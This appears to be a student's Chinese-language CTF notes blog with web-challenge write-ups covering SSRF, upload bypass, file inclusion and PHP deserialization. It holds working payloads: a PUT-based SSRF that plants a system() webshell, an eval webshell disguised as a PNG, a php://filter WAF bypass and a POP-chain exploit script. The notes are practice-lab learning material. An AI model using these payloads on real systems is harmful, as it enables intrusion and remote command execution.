}
h2 {
margin-top: 0;
color: #4682b4;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #4682b4;
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 8px;
box-sizing: border-box;
border: 1px solid #add8e6;
border-radius: 4px;
}
button {
padding: 10px 15px;
background-color: #4682b4;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #5f9ea0;
}
.result {
margin-top: 15px;
padding: 10px;
border: 1px solid #add8e6;
border-radius: 4px;
background-color: #f0f8ff;
display: none;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
background-color: #f5f5f5;
padding: 10px;
border-radius: 4px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<h1>迷你图片空间</h1>

<div class="section">
<h2>上传图片</h2>
<form id="uploadForm" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label for="file">选择图片:</label>
<input type="file" id="file" name="file" required>
<small>支持所有类型的图片</small>
</div>
<button type="submit">上传图片</button>
</form>
<div id="uploadResult" class="result"></div>
</div>

<div class="section">
<h2>搜索图片</h2>
<form id="searchForm">
<input type="hidden" name="action" value="search">
<div class="form-group">
<label for="query">搜索关键词:</label>
<input type="text" id="query" name="query" required
pattern="[a-zA-Z0-9]+"
title="只允许输入数字和字母"
placeholder="输入图片关键词(仅限数字和字母)">
</div>
<button type="submit">搜索</button>
</form>
<div id="searchResult" class="result">
<h3>搜索结果:</h3>
<div id="searchResultContent"></div>
</div>
</div>

<div class="section">
<h2>查看图片</h2>
<form id="viewForm">
<input type="hidden" name="action" value="view">
<div class="form-group">
<label for="filename">图片路径:</label>
<input type="text" id="filename" name="filename" required placeholder="输入图片路径">
</div>
<button type="submit">查看图片</button>
</form>
<div id="viewResult" class="result">
<h3>图片预览:</h3>
<div id="fileContent"></div>
</div>
</div>

<script>
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = data.message;
resultDiv.style.color = data.success ? 'green' : 'red';
})
.catch(error => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '上传过程中发生错误';
resultDiv.style.color = 'red';
});
});

document.getElementById('searchForm').addEventListener('submit', function(e) {
e.preventDefault();

var searchQuery = document.getElementById('query').value;

var alphanumericRegex = /^[a-zA-Z0-9]+$/;
if (!alphanumericRegex.test(searchQuery)) {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
return;
}

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';

if (data.success) {
try {
var jsonData = JSON.parse(data.result);

if (jsonData.paths && jsonData.paths.length > 0) {
var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
resultHtml += '</tr></thead><tbody>';

jsonData.paths.forEach(function(item) {
var date = new Date(item.mtime);
var formattedDate = date.toLocaleString();
var fileSize = formatFileSize(item.size);

resultHtml += '<tr style="border: 1px solid #ddd;">';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
resultHtml += '</td></tr>';
});

resultHtml += '</tbody></table>';
document.getElementById('searchResultContent').innerHTML = resultHtml;
} else {
document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
}
} catch (e) {
document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
}
} else {
document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
}
})
.catch(error => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
});
});

document.getElementById('viewForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';

if (data.success) {
var fileContentDiv = document.getElementById('fileContent');
fileContentDiv.textContent = '';

var img = document.createElement('img');
img.src = data.base64_data;
img.style.maxWidth = '100%';
img.style.display = 'block';
img.style.margin = '0 auto';
fileContentDiv.appendChild(img);
} else {
document.getElementById('fileContent').textContent = '错误: ' + data.message;
}
})
.catch(error => {
console.error('错误:', error);
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
document.getElementById('fileContent').textContent = '获取图片时发生错误';
});
});

function formatFileSize(bytes) {
if (bytes === 0) return '0 B';

const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));

return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}

function viewFile(filename) {
document.getElementById('filename').value = filename;
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
}
</script>
</body>
</html>

当时得到源码后不会做了

赛后看官方解法:

ssrf

index.php在查看图片时使用file_get_contents获取任意文件并且以data:image/jpeg;base64的形式返回,通过这种方式可以尝试读源码 源码中预留了带有dufs的变量名以及上传和搜索的流量特征都可以给选手推测的机会,选手如果运气好遍历到文件甚至可以直接下载到dufs的Linux二进制文件自行进行测试 同时,源码的file_get_contents还预留了options变量,这意味着可以通过此函数进行PUT请求上传任意文件,从而绕过php脚本的限制上传php木马getshell,之后从环境变量获取flag即可

1
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

攻击payload

1
2
3
4
5
6
7
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 9

action=view&filename=http://127.0.0.1:5000/i.php&options[http][method]=PUT&options[http][content]=%3C%3Fphp+echo+getenv%28%27FLAG%27%29%3B%3F%3E

传入部分url解码内容:

原 http 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /index.php HTTP/1.1
Host: 127.0.0.1:50688
Content-Length: 245
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEFvaPBTZNbCkhtbn
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:50688
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:50688/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryEFvaPBTZNbCkhtbn
Content-Disposition: form-data; name="action"

view
------WebKitFormBoundaryEFvaPBTZNbCkhtbn
Content-Disposition: form-data; name="filename"

index.php
------WebKitFormBoundaryEFvaPBTZNbCkhtbn--

关键利用代码:

1
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

这段代码会让stream_context_create函数接收post上来的option参数

关键来理解一下这份payload:

1
action=view&filename=http://127.0.0.1:5000/shell.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['a']);?>

利用view操作来绕过upload操作的waf
源码的查看图片利用的是 file_get_contents() 支持http协议,用它来触发ssrf来向dufs(文件服务器来上传文件,而通过index.php的源码可以知道dufs文件服务运行在本地5000端口上)目录直接上传文件

options[http][method]=PUT

用途:通过 PHP 的 stream_context_create 函数自定义 HTTP 请求的上下文(Context)。

攻击逻辑:

[method]=PUT:将 HTTP 请求方法从默认的 GET 改为 PUT。

PUT 方法的作用:向服务器上传文件(需目标服务支持,如 dufs 允许 PUT 上传文件)。

为什么重要:通过此参数绕过常规文件上传限制,直接写入文件。
通过 PHP 的 stream_context_create 函数自定义 HTTP 请求的上下文(Context)将原来请求的GET改为PUT以向dufs服务上传木马

options[http][content]=< ?php system($_GET[‘a’]);? >

用途:设置 HTTP 请求的 Body 内容(即上传的文件内容)。

攻击逻辑:

:一个简短的 PHP Webshell。

system():执行系统命令。

$_GET[‘a’]:从 URL 参数 a 中接收用户输入的命令。

例如:访问 http://127.0.0.1:5000/shell.php?a=ls 会执行 ls 命令。

关键作用:将恶意代码写入服务器的 shell.php 文件,为后续攻击做准备。

完整攻击流程

1.触发 SSRF

服务器执行 file_get_contents 时,尝试读取 http://127.0.0.1:5000/shell.php
但实际发起的是一个 PUT 请求。

2.上传 Webshell

请求内容为:
此时用stream_context_create构建的http请求应该就是如下了:

1
2
3
4
5
PUT /shell.php HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 27

<?php system($_GET['a']);?>

PUT请求将会将shell.php和其指定内容写入dufs

如果 dufs 允许 PUT 上传,shell.php 会被写入服务器。

所以第一个option用来定义put的http请求,第二个option用来定义http主体

接下来就是蚂蚁连马然后再环境变量里看到flag

stream_context_create

stream_context_create 是 PHP 中用于创建流上下文(stream context)的函数,它允许开发者在执行文件、网络或其他流操作时,自定义底层协议的行为(例如设置 HTTP 请求头、修改 FTP 传输模式等)。这个函数在实现复杂网络操作时非常有用,但如果使用不当,也可能引发安全漏洞(如 SSRF、文件上传绕过等)。

数的基本语法:

1
stream_context_create(array $options = ?, array $params = ?): resource

参数:

$options:一个多维数组,用于配置不同协议(如 http、ftp、ssl 等)的行为。

$params(可选):设置上下文参数(如超时时间)。

返回值:返回一个流上下文资源,可传递给其他流操作函数(如 file_get_contents、fopen)。

[SWPUCTF 2021 新生赛]easyupload3.0

传正常图片,得到路径
然后试试直接传码,不行
修改请求头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /upload.php HTTP/1.1
Host: node4.anna.nssctf.cn:28055
Content-Length: 354
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node4.anna.nssctf.cn:28055
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrWwjxZ6YBiFAz2Lm
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28055/
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1748528050; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1748528050; HMACCOUNT=1B73E9281BD50EC7; PHPSESSID=fve350i8dhj45k2ls9htd4l6r5
Connection: keep-alive

------WebKitFormBoundaryrWwjxZ6YBiFAz2Lm
Content-Disposition: form-data; name="uploaded"; filename="shell.png"
Content-Type: image/png

<script language='php'>@eval($_POST[shell]);</script>
------WebKitFormBoundaryrWwjxZ6YBiFAz2Lm
Content-Disposition: form-data; name="submit"

这不传一个🐎?
------WebKitFormBoundaryrWwjxZ6YBiFAz2Lm--

然后传.htaccess

蚂蚁直接连
env查看环境的到flag

[鹏城杯 2022]简单包含

上来能看到给出的源码:

1
2
3
4
<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

直接传入flag=flag.php
提示有waf
使用php伪协议结果一样
尝试读取index.php完整源码
flag=php://filter/convert.base64-encode/resource=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

看deepseek解释

1
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path))

其中有&&效果与and相同,若是两个条件达成就会执行if
其中第一条是请求体长度小于800,第二是传入中含有flag字符
只要让其中一条为假就能绕过waf
所以让post的请求体长度大于800即可
例如:

1
flag=php://filter/convert.base64-encode/resource=flag.php&a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[LitCTF 2025]easy_signin

开题先是无法访问,扫目录扫出这些:

1
2
3
4
5
[01:51:25] 301 -  169B  - /api  ->  http://node6.anna.nssctf.cn/api/
[01:51:26] 301 - 169B - /backup -> http://node6.anna.nssctf.cn/backup/
[01:51:29] 302 - 0B - /dashboard.php -> /login.html
[01:51:34] 200 - 6KB - /login.html
[01:51:34] 200 - 51B - /login.php

访问login.php
回显:

1
{"code":400,"msg":"\u53c2\u6570\u4e0d\u5b8c\u6574"}

访问html
到一个登录界面

抓包尝试了一下,发现username和password是md5加密过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login.php HTTP/1.1
Host: node6.anna.nssctf.cn:28934
Content-Length: 107
X-Sign: f6b57bb04015bf000f17e5d5dda37935
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://node6.anna.nssctf.cn:28934
Referer: http://node6.anna.nssctf.cn:28934/login.html
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1748528050
Connection: keep-alive

username=ee11cbb19052e40b07aac0ca060c23ee&password=202cb962ac59075b964b07152d234b70&timestamp=1748714891098

尝试对admin 密码爆破没结果
user 尝试一直提示账户错误没结果
去看wp
说是有api口能知道有地方能ssrf

浏览器中f12查看网络去向能看到一个api地址

1
2
3
http://node6.anna.nssctf.cn:28934/api.js
访问看到:
/api/sys/urlcode.php?url=

然后

1
2
3
http://node6.anna.nssctf.cn:28934/api/sys/urlcode.php?url=file:///var/www/html/login.php

看不见哦

http://node6.anna.nssctf.cn:28934/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!?php
error_reporting(0);

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
$protocol_block = false;
foreach ($forbidden_protocols as $proto) {
if (strpos($url, $proto) === 0) {
$protocol_block = true;
break;
}
}
$log_block = strpos($url, '.log') !== false;

if ($protocol_block) {
echo "禁止访问:不允许使用 {$proto} 协议";
} elseif ($log_block) {
echo "禁止访问:URL 包含 .log";
} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
echo "看不见哦";
} else {
echo "<b-->

然后看到里面有个327a6c4304ad5938eaf0efb6cc3e53dc.php
在主解析访问直接得到flag

看到有大佬写马的wp
https://www.cnblogs.com/TouHp/p/18895822
看不懂,先供着

[LitCTF 2025]星愿信箱

原来这题直接用fenjing就能梭出来的,这倒是发现了我环境的问题
以前是直接在powershell 跑fenjing web ui 版,
一直跑不出来
去式了别人wp的fenjing指令也不行,
给d导看了,原来是powershell的字符需要转译

1
2
3
4
5
6
7
原指令:  
fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data '{"cmd": "a"}' --key cmd --replaced-keyword-strategy ignore
用不出来,一直提示报错

d导给的命令:
fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data '{\"cmd\": \"a\"}' --key cmd --replaced-keyword-strategy ignore

要不说以后fenjing在linux里跑?
没用,在Linux下跑的fenjing webui 还是无法成功
看来只能用命令跑了

[鹤城杯 2021]EasyP

开题先见源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

只看一眼,看上去像是猜谜游戏,过滤了:
‘/utils.php/*$/i’
‘/show_source/‘

但是又设置又’/show_source/‘成功传入后的结果,所以应该是能绕过正则过滤的
不管了,问ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// 引入名为 utils.php 的文件,该文件可能包含一些辅助功能或变量定义。
include 'utils.php';

// 判断是否存在名为 'guess' 的 POST 请求参数。
if (isset($_POST['guess'])) {
// 将 POST 请求中的 'guess' 参数值强制转换为字符串类型,并赋值给变量 $guess。
$guess = (string) $_POST['guess'];
// 判断用户提交的猜测值 $guess 是否与变量 $secret 相等。
if ($guess === $secret) {
// 如果猜测正确,将提示信息和 $flag 变量的值拼接后赋值给 $message。
$message = 'Congratulations! The flag is: ' . $flag;
} else {
// 如果猜测错误,提示用户重新尝试。
$message = 'Wrong. Try Again';
}
}

// 检查当前脚本的路径是否以 "utils.php" 结尾(不区分大小写),如果是,则终止脚本运行,防止直接访问 utils.php 文件。
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

// 检查请求的 URI 是否包含 "show_source" 字符串,如果是,则终止脚本运行,防止显示源代码。
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

// 判断是否存在名为 'show_source' 的 GET 请求参数。
if (isset($_GET['show_source'])) {
// 如果存在,则使用 highlight_file 函数高亮显示当前脚本文件的代码,并终止脚本运行。
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
// 如果不存在 'show_source' GET 参数,则调用 show_source 函数(可能在 utils.php 中定义)显示当前脚本的源代码。
show_source(__FILE__);
}
?>

basename($_SERVER[‘PHP_SELF’]) 是什么意思
问了ai后
那我大概理解是返回当前客户请求的url的最后的文件名字,然后配合highlight_file显示源码

所以是
先绕过

1
2
3
4
// 检查当前脚本的路径是否以 "utils.php" 结尾(不区分大小写),如果是,则终止脚本运行,防止直接访问 utils.php 文件。
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

看网上wp的办法是在url的实际路径上添加不影响路径解析的字符

问ai找出能用的:

1
2
3
4
5
6
7
8
9
10
零宽度空格(Zero-Width Space)
编码:%E2%80%8B
描述:表示零宽度空格。
潜在影响:可能导致路径解析错误或绕过某些基于字符串匹配的安全检查。

其他 Unicode 空白字符
全角空格:%EF%BC%A0(全角空格)
半角空格:%20(普通空格)
中文标点符号:如 %E3%80%81(中文逗号)、%E3%80%82(中文句号)等
潜在影响:这些字符可能会被误认为普通空格或路径分隔符,从而绕过某些基于字符串匹配的安全检查。

然后是

1
2
3
4
// 检查请求的 URI 是否包含 "show_source" 字符串,如果是,则终止脚本运行,防止显示源代码。
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

的绕过
我看有wp是直接用
show+source直接绕过
问dp说不应该,正常是url编码下滑线来匹配显示源码的条件

继续追问:
为什么这个转换会发生?
这是 PHP 的历史遗留行为(为了兼容 register_globals 时代),PHP 会自动转换参数名中的特定字符:

空格 → 下划线 _

点号 . → 下划线 _

其他特殊字符也会被转换

这是 PHP 的默认行为,可以在 php.ini 中通过 request_parameter_handling 配置,但默认是启用的。


title: note-38
date: 2025-06-21 23:33:35
tags:

[LitCTF 2025]君の名は

开题先给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
// 显示当前文件的源代码
highlight_file(__FILE__);
// 关闭所有错误报告
error_reporting(0);

// 创建一个匿名函数,当调用时会执行`/readflag`命令
create_function("", 'die(`/readflag`);');

// 定义Taki类
class Taki
{
private $musubi; // 私有属性
private $magic; // 私有属性

// __unserialize魔术方法,在反序列化时调用
public function __unserialize(array $data)
{
$this->musubi = $data['musubi']; // 从数组中设置musubi属性
$this->magic = $data['magic']; // 从数组中设置magic属性
return ($this->musubi)(); // 调用musubi属性(假设它是可调用的)
}

// __call魔术方法,当调用不存在的方法时触发
public function __call($func,$args){
// 动态创建对象并调用方法
(new $args[0]($args[1]))->{$this->magic}();
}
}

// 定义Mitsuha类
class Mitsuha
{
private $memory; // 私有属性
private $thread; // 私有属性

// __invoke魔术方法,当对象被当作函数调用时触发
public function __invoke()
{
// 返回两个属性的连接
return $this->memory.$this->thread;
}
}

// 定义KatawareDoki类
class KatawareDoki
{
private $soul; // 私有属性
private $kuchikamizake; // 私有属性
private $name; // 私有属性

// __toString魔术方法,当对象被当作字符串使用时触发
public function __toString()
{
// 调用soul对象的flag方法
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

// 从POST请求中获取Litctf2025参数
$Litctf2025 = $_POST['Litctf2025'];
// 检查参数是否以"O:"或"a:"开头并跟着数字
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
// 如果不匹配,则反序列化该参数
unserialize($Litctf2025);
}else{
// 如果匹配,输出提示信息
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

反序列化,看看ai怎么说

ai没用,但是找到了出题人的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b; // 1.把对象当成函数调用,触发__invoke()
$b->thread = $c; // 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a; // 3. 调用不存在的方法,触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

有没见过的知识点
其中是要调用一个匿名函数,还有是使用arrayobject类型来反序列化出C开头的payload来绕过

TGCTF 2025

什么文件上传?

好像上传啥都回显 hacker

浅浅扫一下目录

1
2
3
4
5
6
7
[23:39:02] 403 -  548B  - /assets/
[23:39:02] 301 - 162B - /assets -> http://127.0.0.1/assets/
[23:39:04] 301 - 162B - /css -> http://127.0.0.1/css/
[23:39:15] 200 - 239B - /robots.txt
[23:39:19] 200 - 0B - /upload.php
[23:39:19] 403 - 548B - /uploads/
[23:39:19] 301 - 162B - /uploads -> http://127.0.0.1/uploads/

原来前端里已经提示:机器人是啥?
在暗示有robots了

robots:

1
2
3
4
5
6
7
8
9
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

只有class.php 能连上
怎么是反序列化?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

ai注释一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
// 显示当前文件的源代码
